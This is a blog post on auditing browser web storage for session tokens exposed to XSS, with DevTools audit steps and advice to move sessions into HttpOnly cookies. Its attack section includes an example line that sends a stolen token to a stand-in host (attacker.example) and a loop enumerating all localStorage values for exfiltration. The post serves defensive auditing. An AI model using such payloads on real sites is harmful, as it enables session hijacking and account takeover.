Lorem, ipsum dolor sit amet consectetur adipisicing elit. Qui, itaque voluptate ipsa non enim amet ducimus voluptatibus deserunt nam esse!
Auditing Web Storage for Session Hijacking Opportunities

Auditing Web Storage for Session Hijacking Opportunities

pr0h0
securityweb-storagesession-hijackingfrontendweb-security
AI Usage (88%)

Introduction: Why Auditing Web Storage Matters

I keep seeing the same slip in single‑page apps: a JWT or session token lands in localStorage or sessionStorage, and the developer assumes it's safe because it's opaque. But browser storage APIs carry no access controls that map to HTTP security flags. Any script running on the origin can read every key, so a tiny DOM‑based XSS bug becomes a full account takeover vector. Auditing how your app uses these stores is the fastest way to find that gap before an attacker does.

How Attackers Steal Sessions from Web Storage

The Cookie vs. localStorage Security Gap

An HttpOnly cookie is off limits to JavaScript. Inject a script all you want; the session stays unreachable. Web storage doesn't have an equivalent. localStorage.getItem('token') runs from any script context—an inline event handler, a compromised third‑party library, or a reflected XSS payload.

// This works regardless of CSP or cookie flags
const stolen = localStorage.getItem('sessionToken');
fetch('https://attacker.example/collect?t=' + encodeURIComponent(stolen));

XSS as the Primary Delivery Mechanism

The trip from injection to hijacking is short. One unsanitized dangerouslySetInnerHTML in a React component, or a string spliced directly into the DOM, is all it takes to start harvesting. Attackers don't need a large payload; a three‑line snippet enumerates localStorage and ships every value to an external server.

// Quick exfiltration payload (safe demo)
for (let i = 0; i < localStorage.length; i++) {
  const key = localStorage.key(i);
  const val = localStorage.getItem(key);
  // exfiltrate...
}

Auditing Web Storage Step by Step

1. Check What's Stored

Open DevTools and run these in the console:

console.table(
  Object.entries(localStorage)
);
console.table(
  Object.entries(sessionStorage)
);

Look for JWTs, session IDs, API tokens, or any value that resembles a base64‑encoded, dot‑delimited string. If you spot eyJhbGciOi… you're looking at a probable session token.

2. Verify It's Accessible from JavaScript

The whole point of an audit is to confirm tokens are reachable. Confirm with a simple getter:

const token = localStorage.getItem('accessToken');
console.log(token ? 'Found – active session in storage' : 'Clean');

Any script running on the origin can do the same. If the value is present and unprotected, it's a hijacking opportunity.

3. Trace How the Token Enters Storage

Search the front‑end source for calls that write to storage:

localStorage.setItem
sessionStorage.setItem

Common locations: login success handlers, OAuth callback pages, or useEffect hooks that persist state. If you find setItem calls that pass a token from an API response, you've identified the injection point.

4. Check for Cookie Flags as an Alternative

Open the Application panel → Storage → Cookies and review the flags on session cookies. A properly hardened application sends the session cookie with HttpOnly, Secure, and SameSite=Lax or Strict. If the app relies exclusively on web storage for the session identifier, no flag can protect it from script access.

Mitigation: Moving Secrets Out of Web Storage

The fix is a server‑side change. Store the session identifier in an HttpOnly cookie and serve it from the backend on login. If you must keep an access token on the client, use a backend‑for‑frontend pattern where a short‑lived token sits in a Secure, HttpOnly cookie and a separate refresh flow runs through a service worker or a silent endpoint. Avoid setting Access-Control-Allow-Origin: * and ensure the token is never echoed in URL fragments. Once the token moves out of web storage, XSS becomes far less damaging.

Auditing for these patterns isn't complicated, but it catches the slip that turns a small injection into a stolen session. The same console commands and source‑code searches will show you exactly where the risk sits.

Share this post

More posts

Comments